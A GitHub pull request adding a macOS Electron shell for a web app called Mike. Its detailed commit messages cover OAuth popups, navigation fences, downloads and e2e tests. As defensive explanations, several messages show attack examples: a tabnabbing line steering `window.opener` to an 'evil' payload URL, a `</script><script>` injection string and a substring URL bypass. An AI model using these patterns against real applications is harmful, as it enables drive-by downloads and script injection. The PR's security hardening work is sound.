[Mac app] Native desktop shell hosting the web app - #302
Draft
amal66 wants to merge 9 commits into
Draft
Conversation
amal66
marked this pull request as draft
August 12, 2026 16:22
amal66
force-pushed
the
feat/mac-desktop-shell
branch
from
August 16, 2026 21:58
e66f4d6 to
556c8d6
Compare
amal66
marked this pull request as ready for review
August 16, 2026 23:15
Comment on lines
+379
to
+381
| return readFileSync(CAPTURE_FILE, "utf8") | ||
| .split("\n") | ||
| .includes(EXTERNAL_URL); |
amal66
marked this pull request as draft
August 18, 2026 14:06
|
|
WHY THIS MATTERS Legal teams live in desktop apps. A dock icon with real keyboard shortcuts, its own window, and OS-level presence is a different product posture than a browser tab — and it's the posture Word users already get from the merged add-in. This prototype gives the WHOLE web product a first-class macOS home without forking any of it. WHAT IS A DESKTOP SHELL (vs a native rewrite) Two ways to make a mac app of a web product: re-implement the UI natively (SwiftUI), or host the existing web app in a native shell. The shell wins for Mike because of the standing rule that every client must mirror the main web app's design and architecture: a rewrite drifts from day one, a shell CANNOT drift — the web app is the single source of truth and receives zero privileged APIs (it must behave identically in a browser). The shell contributes only what a tab can't: HOW IT WORKS - desktop/src/main.js — window with inset traffic-light title bar, window-state persistence, single-instance lock, and an origin fence: only the configured Mike server renders inside the app; every other URL (cited sources, OAuth consent, docs) opens in the default browser, so third-party pages never execute inside the shell. - Real menu bar: ⌘N new chat, ⌘P projects, ⌘L library, ⌘K workflows, ⌘, change server, standard Edit/View/Window roles. - Connection screen (src/pages/connect.html + preload bridge) instead of a Chromium error page when the server is unreachable — retry or repoint at any deployment; settings persist as plain JSON in ~/Library/Application Support/Mike/. - Packaging: `npm run dist` → dist/mac-arm64/Mike.app via electron-builder (unsigned prototype; signing/notarization needs an Apple Developer identity). Verified: connection screen loads when no server is running; with the frontend dev server up the shell renders the real login page (CDP screenshot); the packaged Mike.app launches standalone. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
…eal stack WHY THIS MATTERS A prototype earns trust when it survives contact with the real system. This commit replaces the placeholder Electron icon with Mike's own mark and proves the packaged app end-to-end against the full local stack — not a dev server with placeholder env, but docker-compose Supabase, storage, backend and frontend, with a real signup and a real project. HOW THE ICON WORKS assets/icon.html is the source of truth: the product's 12-blade glass asterisk (mike-icon.tsx, DEFAULT_PALETTE inlined as static SVG) on a macOS Big-Sur-style plate. scripts/render-icon.js rasterizes it with Electron's own Chromium (offscreen, transparent) so the SVG filters render exactly as the product draws them; scripts/make-icns.sh derives every size with sips and packs icon.icns with iconutil — macOS-native tools only, `npm run icon` to regenerate. HOW THE E2E WORKS e2e/app.e2e.mjs launches the PACKAGED Mike.app binary (packaging regressions must fail the test too) with a remote-debugging port and drives it with Playwright over CDP — the shell's window is a Chromium page, so the product's own test idioms apply. It resets any persisted session (session persistence across launches is a shell feature, so the test must not inherit one), asserts the anonymous /login redirect, signs up a fresh user through the real form (local autoconfirm), waits for the authenticated sidebar — a URL change alone can lie when a signup 500s — creates a project through the current wizard (Create → name → Next → "Create project", scoped to the wizard overlay so the toolbar's identical "Create" behind the backdrop can't be matched), and screenshots every stage into e2e/artifacts/. Verified: E2E PASSED against the compose stack — signup, auto-login, project visible in the grid, all inside Mike.app with the asterisk dock icon. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
…up, and download flows
WHY THIS MATTERS
The desktop app is a thin Electron shell around the Mike web app: the web app
IS the product, and the shell only gives it a native home (menu bar, window
state, a connect screen). For that to be trustworthy, every flow that works in
a browser must work identically inside the shell. An audit against the current
web app found several flows that broke — most seriously, connecting an MCP
connector (Google Drive, Slack, …) was impossible from the desktop app, and a
few of the shell's guards were either too loose (a security hole) or too tight
(a real feature blocked).
WHAT IS A "SHELL", AND WHY THESE FLOWS ARE HARD
A browser gives every page the same powers: it can open popups that talk back
to their opener, download files, and follow links to other sites. An Electron
BrowserWindow gives you those powers too, but you have to opt into them
deliberately — and the moment you host a real product plus arbitrary
third-party pages (OAuth consent screens, cited sources) in the same shell,
"who is allowed to do what, where" becomes a security boundary you have to draw
by hand. This change draws it.
WHAT BROKE AND HOW EACH IS FIXED
1. MCP connector OAuth (was completely dead in the shell).
The web app opens a popup with window.open("about:blank", …) *first* (to keep
a synchronous handle that survives popup blockers), then steers it to the
provider's consent page, and learns the result only via
window.opener.postMessage from an API-origin callback page. The old shell saw
"about:blank", treated it as a foreign URL, and pushed it to the system
browser — where window.opener is null, so the result could never come back.
Fix: window.open of about:blank / app-origin URLs now becomes a real, fenced
child window (windowOpenPolicy + fenceChildWindow). Cross-origin hops stay
INSIDE that popup so window.opener survives the whole consent → callback
chain.
2. Popups had the shell's privileged preload attached.
The shell exposes a tiny bridge (window.mikeDesktop) to its OWN connect page
so it can change the server URL. If a third-party consent page inherited that
bridge, it could repoint the shell at a hostile server. Fix:
POPUP_WINDOW_OPTIONS sets preload:undefined on every child window, so popups
get window.opener (Chromium plumbing) but NOT the bridge (an injected
script). Verified live: popups have a working opener and no window.mikeDesktop.
3. Opener-tabnabbing → silent drive-by download (a hole the popup design opens).
Because popups now keep a live window.opener, the HTML spec lets a
cross-origin popup navigate its opener: a hostile consent page could run
`window.opener.location = "https://evil/payload.dmg"`. The shell would probe
that URL, see a binary, and download it with no prompt. Fix: the main
window's navigation handler only takes the download/browser path when the
navigation was initiated by the main window's OWN frame (event.initiator ===
win.webContents.mainFrame). A navigation driven by a popper, a subframe, or an
unknown initiator is dropped.
4. will-redirect was unguarded.
will-navigate does not fire for HTTP 30x redirects, so an app-origin URL that
redirects off-origin would render a foreign page in the main window — the one
window that carries the preload bridge. Fix: will-redirect shares the same
policy handler as will-navigate.
5. A dropped OS file could replace the whole app.
The old guard exempted ALL file: URLs (needed for the bundled connect page),
so a file dropped outside the chat's dropzone navigated the window to that
local file. Fix: only file: URLs under the shell's own pages directory
(SHELL_PAGES_URL_PREFIX) are allowed; every other file: navigation is
prevented.
6. A failing iframe kicked the session to the connect screen.
did-fail-load fired for any subframe/subresource failure (ad-blocked embeds,
dead iframes) and showed the "can't reach server" page over a healthy session.
Fix: honor the isMainFrame argument — only a main-frame failure means the
server is actually gone.
7. Document downloads bounced to the browser instead of downloading.
The web app downloads files by pointing an <a download> at a presigned
storage URL on a third origin; the browser's download attribute is ignored
cross-origin, so it reaches the shell as a plain navigation. will-navigate
fires before any response headers exist, so we can't know synchronously
whether it's a page or a file. Fix: resolveForeignNavigation probes the URL
for one byte (GET with Range) and, on an attachment/binary content-type,
calls webContents.downloadURL; a will-download handler then saves it to
~/Downloads with Finder-style collision naming and no save dialog. HTML
responses (real external links) still go to the browser.
8. Missing native affordances that make a web-in-a-window app feel broken.
Added a right-click context menu (spellcheck suggestions, cut/copy/paste,
copy/open-link), completed the menu bar to mirror the sidebar's real nav
(Assistant/Projects/Library/Tabular Review/Workflows on Cmd+1..5, History on
Cmd+6, Settings on Cmd+, per mac convention), and raised the minimum window
size to 800×600 so the window can't slip below the frontend's 768px mobile
breakpoint.
HOW THE SECURITY BOUNDARY HOLDS
Two hardening details worth calling out: the IPC handlers that change the server
URL now verify the sender is one of the shell's own bundled pages, so an XSS in
the hosted product can't reach them; and a MIKE_USER_DATA_DIR seam lets tests
run against an isolated profile without fighting a developer's real Mike.app for
the single-instance lock or touching their saved window bounds.
All of the above is exercised by the e2e suites added in the following commit.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
… stack
WHY THIS MATTERS
The shell's job is to be invisible: the web app must behave identically inside
it and in a browser. "Identically" is exactly the kind of claim that rots
silently — a frontend redesign or an Electron upgrade can re-break a flow with
no compile error. These suites turn each fixed flow into an assertion that runs
the REAL packaged Mike.app (not `electron .`) against a REAL local stack, so a
regression fails a test instead of shipping.
WHAT IS DRIVEN, AND HOW
Both suites launch dist/mac-arm64/Mike.app with a remote-debugging port and
attach Playwright over CDP — the shell's window IS a Chromium page, so the same
binary a user double-clicks is what gets tested (packaging regressions like
asar paths fail too). Native menu items can't be driven over CDP, so menu
coverage stays manual.
WHAT flows.e2e.mjs PROVES (one step per fix in the previous commit)
- OAuth popup mechanics: window.open("about:blank") yields a real in-shell
popup; it survives a cross-origin hop to the actual API callback route; its
window.opener is alive; the callback's own mcp_oauth_result postMessage
reaches the opener from the API origin; and the popup has NO window.mikeDesktop
bridge.
- Opener-tabnabbing guard: a popup steering `window.opener.location` at a
foreign binary URL is DROPPED — not downloaded, not bounced to the browser —
proving the initiator check.
- External links still hand off to the system browser (captured to a file so no
real tabs open) and never spawn an in-shell window.
- A failing iframe does NOT trigger the connect screen.
- Blob export and presigned-URL document download both stay in-shell and are
saved by the will-download handler.
TWO TEST SEAMS, AND WHY THEY'RE NEEDED (not test-only cheating)
1. MIKE_E2E_CAPTURE_EXTERNAL / MIKE_E2E_DOWNLOAD_LOG: an attached CDP client
installs its own browser-level download behavior, diverting bytes away from
the shell's setSavePath — so the suite can't watch the download directory.
Instead the shell appends a JSONL line when its will-download handler runs,
and the test asserts on that. This proves the handler fired and chose the
in-shell path; it does not change production behavior (the env vars are unset
in a real run).
2. MIKE_USER_DATA_DIR: without an isolated profile, a test run would fight a
developer's own running Mike.app for the single-instance lock (and lose,
quitting instantly) and would read/write their real saved window bounds.
HONEST SCOPE
The file: navigation step asserts a renderer-initiated remote→local navigation
never lands — but Chromium refuses that on its own, so it's a regression guard,
not a test of the will-navigate file: fence. The fence's real target (a
browser-initiated navigation from an OS file drop) can't be dispatched reliably
over CDP and is covered by code review and manual testing. The step is named and
commented to say exactly that, rather than overclaiming.
Also refreshed app.e2e.mjs for the current frontend: the projects create control
is now an icon button labelled "New project" (was "Create"), and the title
sanity check waits for the title instead of reading it once (it's briefly empty
during client-side transitions).
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
WHY THIS MATTERS Connecting an MCP connector (Google Drive, Slack, an MCP server) relies on a popup that reports its result back to the app with window.opener.postMessage. That hand-off silently breaks in EVERY browser (not just the desktop shell) under the security headers this backend sets — the desktop work is simply what surfaced it. Without this fix, the popup completes the OAuth dance and then the app never hears about it. WHAT IS COOP, AND WHY IT BREAKS window.opener Cross-Origin-Opener-Policy controls whether a window keeps a usable reference to the window that opened it. Helmet (our security-header middleware) defaults COOP to "same-origin": the moment a document with that policy ends up in a browsing context whose opener is cross-origin, the browser SEVERS window.opener to prevent cross-origin tampering. Our OAuth popup is opened at about:blank by the frontend, navigated to a third-party consent page (cross-origin), and finally lands on this backend's callback page. By the time the callback page runs, its opener chain is cross-origin — so helmet's same-origin COOP nulls window.opener, and `window.opener.postMessage(result, …)` posts to nothing. HOW THE FIX WORKS The callback route now sends Cross-Origin-Opener-Policy: unsafe-none on both its success and failure responses (via a shared mcpOAuthPopupHeaders(nonce) helper that also carries the existing strict, nonce-based CSP). "unsafe-none" opts this single document out of the isolation so it retains window.opener long enough to post its result. This is safe because the sensitive parts of the flow don't lean on COOP at all: the postMessage targetOrigin is pinned to the frontend origin, the OAuth state is encrypted, expiry-checked, and single-use, and the start endpoint sits behind auth + MFA — an attacker can neither forge a victim's state nor read anything through the retained handle (the same-origin policy still applies). The relaxation is scoped to this one route; every other response keeps helmet's same-origin default (asserted by a new test). DEFENSE IN DEPTH: ESCAPING THE ERROR DETAIL The callback page embeds a JSON message in an inline <script>. On the failure path that message includes `detail`, which is derived from the attacker-supplied ?error= query parameter. JSON.stringify does NOT escape "<", so a payload like "</script><script>…" would close the script element and inject markup. The per-response CSP nonce already blocks execution, but now that the page keeps a live window.opener, that CSP is more load-bearing — so we also escape "<" to its < form, keeping the value inside the JS string literal. Belt and suspenders. Tests through the full app.ts assembly (so helmet re-clobbering the header would fail the test) assert the two headers on the callback response, that /user/profile still gets same-origin, and that the </script> payload is neutralized. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
…e endpoint
WHY THIS MATTERS
Downloading a document (and DOCX redlines, workflow reference files, ZIP
exports) hands the user's browser a presigned URL to object storage. If that URL
is signed for a hostname the browser can't resolve, every download 404s or times
out. On the self-hosted docker-compose stack that is exactly what happened: the
backend talks to storage at http://storage:9000 — a hostname that only exists on
the internal compose network — so the presigned URL it minted was dead the
moment it reached a browser on the host.
WHAT IS A PRESIGNED URL, AND WHY THE HOST CAN'T BE REWRITTEN
A presigned URL is a storage object URL plus a time-limited AWS SigV4 signature,
so the browser can fetch the object directly without credentials. The signature
is computed over the request — including the Host header the client will send.
That means you cannot mint the URL for the internal host and then string-replace
the hostname afterward: the signature would no longer match and storage would
reject it with SignatureDoesNotMatch. The endpoint has to be correct at signing
time.
HOW THE FIX WORKS
Storage now keeps two S3 clients. Uploads, deletes, and listing continue to use
the internal endpoint (R2_ENDPOINT_URL) — those calls are made by the backend
itself, over the compose network. Presigning uses a second client bound to
R2_PUBLIC_ENDPOINT_URL, the host-published address the browser can actually
reach, so the signature is valid for the request the browser will make. When
R2_PUBLIC_ENDPOINT_URL is unset the presign client falls back to the internal
one, so cloud deployments (Cloudflare R2, real S3), whose endpoints are already
public, are byte-for-byte unchanged. The endpoint is read once at module load
(like the internal client's config) so the cached client can't disagree with a
re-read env var.
The compose file wires R2_PUBLIC_ENDPOINT_URL to the host-published storage port
by default. Two operational caveats are documented inline and in
backend/.env.example, because both are silent-failure traps:
* A REMOTE deploy (not same-machine) must set this to a public HTTPS URL that
reverse-proxies to storage — the loopback default only serves a browser on
the docker host.
* The value must live in the compose-root .env or the shell, NOT backend/.env:
compose interpolates the default from those sources only, and an
env_file value would be silently overridden by the interpolated default.
Tests (storagePresign.test.ts) assert the presigned URL's host is the public
endpoint when set, and falls back to the internal host when unset.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
…-to-end WHY THIS MATTERS "Can anyone run this once it's merged?" hinges entirely on macOS Gatekeeper, and the honest answer has two halves that were never written down: a locally-built app runs fine with no signing, while a downloaded one is blocked unless it's signed with a Developer ID and notarized by Apple. This commit makes both halves explicit and pre-wires the signed build so releasing is a three-env-var command, not a research project. WHAT IS GATEKEEPER, AND WHY "BUILT LOCALLY" DIFFERS FROM "DOWNLOADED" macOS only enforces Gatekeeper on files carrying the com.apple.quarantine extended attribute, which is stamped on anything downloaded (browser, AirDrop). A file you built yourself has no quarantine bit, so `npm run dist` → open the .app just works — that's the path to test this PR today, with no Apple account. A downloaded, unsigned app instead shows "damaged / can't be opened"; on macOS 15 Sequoia the old Control-click → Open bypass is gone, leaving System Settings → Privacy & Security → "Open Anyway" or `xattr -dr com.apple.quarantine`. WHAT IS SIGNING vs NOTARIZATION Signing stamps the app with the org's Developer ID certificate so macOS can verify it hasn't been tampered with. Notarization uploads the signed app to Apple, which scans it and issues a ticket that gets "stapled" to the app; a notarized app opens with a normal double-click. Notarization REQUIRES signing first — they're a package deal, and both need the org's Apple Developer account. The certificate is org-held and never needs to be on a contributor's machine. HOW THIS IS WIRED - electron-builder.release.json: a release config (dmg + zip targets, Hardened Runtime, entitlements) with no `identity: null`, so electron-builder auto-discovers the Developer ID cert from the keychain, and `notarize: true` so it submits to Apple's notary service. The default electron-builder.json is unchanged — `npm run dist` stays a guaranteed-unsigned local build. - assets/entitlements.mac.plist: the standard Electron Hardened Runtime entitlements (allow-jit / allow-unsigned-executable-memory / disable-library-validation) — Chromium's JIT crashes under the Hardened Runtime without them, and notarization requires the Hardened Runtime. No data-access entitlements: the shell touches no camera/mic/contacts. - package.json: `dist:signed` runs the release config; the author sets APPLE_ID + APPLE_APP_SPECIFIC_PASSWORD + APPLE_TEAM_ID (or a CI App Store Connect API key) and runs it. Also adds `e2e:flows` for the flow suite. - README: a "test locally (no Apple account)" section for reviewers, a step-by-step Developer ID + notarization walkthrough for the org account holder, verification commands (codesign / stapler / spctl), a CI sketch that keeps the cert as encrypted secrets, and the unsigned fallback. The signed path is pre-wired and documented but can only be exercised with the org's certificate, so it is intentionally NOT claimed as CI-verified — the unsigned local build and the e2e suites are what this branch proves green. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
…string
WHY THIS MATTERS
CodeQL flagged the external-link e2e assertion under "Incomplete URL substring
sanitization." The rule exists because using a URL as a SUBSTRING to make a
trust decision is a classic bypass — `url.includes("example.com")` is satisfied
by `https://evil.com/?x=example.com`. Here there is no trust decision (it's a
test asserting our own shell wrote a URL it was told to open, with a
constant we control), so the alert is a false positive — but the fix is also a
strictly better assertion, so it's worth taking rather than suppressing.
HOW IT WORKS
The capture file is one URL per line (openExternalOrCapture appends `url + "\n"`).
Splitting on newlines and checking whole-line membership asserts exactly the
line we expect, removes the substring pattern the analyzer keys on, and can't be
satisfied by an unrelated longer URL that merely contains our marker.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
…is usable immediately WHY THIS MATTERS The entire point of shipping a downloadable desktop app is "open it and it works". Until now the shell defaulted to http://localhost:3000, so a user who downloaded Mike.app with nothing else installed was greeted by the "Connect to Mike" screen and had to stand up a docker-compose stack — the opposite of a one-click install. The connect screen was designed as an OFFLINE fallback, but the localhost default made it the FIRST-RUN experience for everyone except developers. WHAT IS A "HOSTED DEFAULT" A thin-shell desktop app (this one, Slack, Discord, VS Code's web builds) has to decide what URL it renders when the user has configured nothing. Pointing at the vendor-hosted deployment (here https://app.mikeoss.com — the same hosted service SECURITY.md documents and the Word add-in already defaults to) means the zero-config path is the working path. Self-hosting becomes the OPT-IN path instead of the barrier to entry. HOW IT WORKS - DEFAULT_SERVER_URL in desktop/src/main.js becomes https://app.mikeoss.com. Nothing else changes: the existing precedence (--server-url= CLI flag → MIKE_SERVER_URL env → saved settings.json → default) already lets developers, e2e, and self-hosters retarget the app, and the connect screen (⌘⇧,) still edits the saved value. - The connect screen copy now describes its real role — "check your internet connection, or point the app at a self-hosted deployment" — since with a live hosted default it appears only when the configured server is genuinely unreachable. - README: dev instructions now pass --server-url=http://localhost:3000 explicitly, because "npm start" alone now loads the hosted service. The origin fence is unchanged and simply follows serverUrl(): with the hosted default, only app.mikeoss.com may render in the bridged main window; every other origin still goes to the default browser. VERIFIED - Packaged Mike.app, fresh user-data dir, no overrides → loads https://app.mikeoss.com/login in-shell (CDP-verified + screenshot). - Packaged app with --server-url=http://localhost:59999 (unreachable) → connect screen with the new copy and the URL prefilled. - Both e2e suites re-run green against the local compose stack (flows.e2e.mjs 12/12, app.e2e.mjs) — they always pass --server-url=, so the default change cannot silently point tests at production. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
amal66
force-pushed
the
feat/mac-desktop-shell
branch
from
August 21, 2026 17:26
983afb9 to
17f9346
Compare
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Mike for Mac — native desktop shell
A thin Electron shell that gives the Mike web app a first-class macOS home:
real menu bar with shortcuts, window-state persistence, external links opening
in the default browser, a connection screen when the server is unreachable, and
a single-instance dock presence. It is shell-over-rewrite by design — the
web app is the single source of truth and gets zero privileged APIs. Everything
lives in
desktop/; reverting isrm -rf desktop/plus the two backend fixesbelow.
Works out of the box: the app defaults to the hosted service at
https://app.mikeoss.com, so a downloadedMike.appis usable with nothingelse installed — open it, log in, done. No local stack, no configuration.
Self-hosters retarget it at their own deployment via the connect screen (⌘⇧,),
--server-url=, orMIKE_SERVER_URL; the connect screen now only appearswhen the configured server is actually unreachable (offline, or a self-host
URL that's down), not as the first-run experience.
This branch has moved past the prototype: it is rebased onto current
mainandevery web-app flow that broke inside the shell has been fixed and covered by an
end-to-end test that drives the packaged
Mike.appagainst a real localstack.
What was broken, and is now fixed
about:blankpopup was pushed to the system browser, sowindow.openerwas null and the result never returnedwindow.openersurvives the whole consent → callback chainmikeDesktopbridgewindow.opener.locationto a foreign binary → silent downloadwill-navigatedidn't fire for 30x → a foreign page could load in the main (bridged) windowwill-redirectnow shares the same fencefile:URLsdid-fail-loadhonorsisMainFrame<a download>clicks bounced to the system browserwill-downloadhandler (no save dialog)Two of these needed backend changes that fix the flow in every browser, not
just the shell:
OAuth popup
window.opener— helmet's defaultCross-Origin-Opener-Policy: same-originseverswindow.openeronce the popup returns from thecross-origin consent page, so the
postMessageresult was lost. The callbackroute now sends
COOP: unsafe-none(scoped to that one route; strict nonce CSPintact; the attacker-controlled
?error=detail is now<-escaped).Presigned download URLs — on the self-hosted compose stack the backend
signed URLs for
http://storage:9000, an internal hostname a browser can'tresolve. Presigning now uses a browser-reachable public endpoint
(
R2_PUBLIC_ENDPOINT_URL), with cloud R2/S3 deploys unchanged.Testing video: https://drive.google.com/file/d/1Q3Y_0H8DqbL7JVK6od1nLWbWgvuqZPG2/view?usp=sharing
Each fix is explained in depth in its commit message.
Verification (all green on this branch)
Run against a fresh docker-compose stack built from this branch's code:
desktop/e2e/flows.e2e.mjs) — 12/12 steps:OAuth popup mechanics (real popup, cross-origin survival, live
window.opener,API-origin
postMessagereceived, no bridge), opener-tabnabbing dropped,external-link hand-off, iframe isolation, blob export download, and
presigned-URL document download — all in the packaged app over CDP.
desktop/e2e/app.e2e.mjs) — signup → projectcreate → chrome sanity: PASS.
and the presign endpoint split).
Mike.app, fresh user-data dir, nooverrides → loads the hosted login at
https://app.mikeoss.comin-shell(CDP-verified). With an unreachable
--server-url=the connect screenappears with the URL prefilled, as before. Both e2e suites pass
--server-url=explicitly, so the hosted default can never leak into tests.Reproduce locally:
Demo: #302
👉 How to test this PR right now (no Apple account needed)
A locally-built app runs with no Gatekeeper prompt — the "damaged / can't be
opened" block only hits apps downloaded from the internet, not ones you build
yourself. So you can click through the real app today:
Signing/notarization (below) only matters for shipping a downloadable
.dmgtoend users — it changes nothing about how the app behaves, so it does not block
reviewing, testing, or merging this PR. Full walkthrough in
desktop/README.md.Manual smoke test (the native surfaces automation can't reach). The e2e
suites drive the packaged app over CDP, which covers the web flows but not the
macOS-native chrome. Two minutes by hand covers the rest:
Review/Workflows/History), ⌘, (product Settings), ⌘⇧, (Change Server →
connect screen appears).
right-click a link → "Open Link in Browser" / "Copy Link".
the app must NOT navigate to the local file.
not in-shell.
~/Downloads, no save dialog.consent popup opens, closes itself, the connector shows as connected.
I can't do these — they need your credentials, hardware identity, or a product
decision. Nothing below blocks reviewing or merging the code; they gate a
distributable, Gatekeeper-clean build.
Apple Developer signing + notarization (the only blocker for a downloadable
release). Because signing needs the org's Apple Developer certificate, only
the account holder can do it — a contributor never needs it. The build is
already wired for this:
electron-builder.release.json+assets/entitlements.mac.plistare in place, andnpm run dist:signedsignsStep-by-step for the org account holder — enrolling, creating the
Developer ID Application certificate, getting the Team ID, generating the
notarization credential, building, and verifying with
codesign/stapler/spctl— is written out indesktop/README.md→ "Signing & notarization", alongwith a CI variant that keeps the certificate as encrypted secrets and never on
a laptop. That path is pre-wired but can only be run with the org's cert, so
it is intentionally not claimed as CI-verified here.
Decide the distribution/CI story (product decision).
desktop/today, sothe shell will silently rot as the frontend moves unless we add a build+e2e
job. The signed-build config is ready; I can add the GitHub Action on request.
ziptarget is alreadyemitted for it; without it every release is a manual re-download.
arm64-only vsarm64+x64vs universal binary.mike://deep links (optional, product decision).The email-change confirmation link currently opens in the user's browser
(Mail → Supabase →
/settings), so that one session update lands in thebrowser, not the shell. Fixing it properly needs a registered
mike://protocol handler. Login itself is unaffected (email/password only, no social
OAuth). Tell me if you want deep links and I'll implement them.
Live OAuth connector smoke test.
The popup/callback plumbing is verified end-to-end against the local stack
with the real callback route, but a true Google/Slack consent round-trip
needs real OAuth app credentials (the same ones tracked for the connectors
work). Worth one manual pass once those exist.
Self-hosters:
R2_PUBLIC_ENDPOINT_URLfor remote deploys.The compose default only serves a browser on the docker host. A remote deploy
must set this to a public HTTPS URL that reverse-proxies to storage (the
storage port is bound loopback-only). Documented in
docker-compose.ymlandbackend/.env.example.🤖 Generated with Claude Code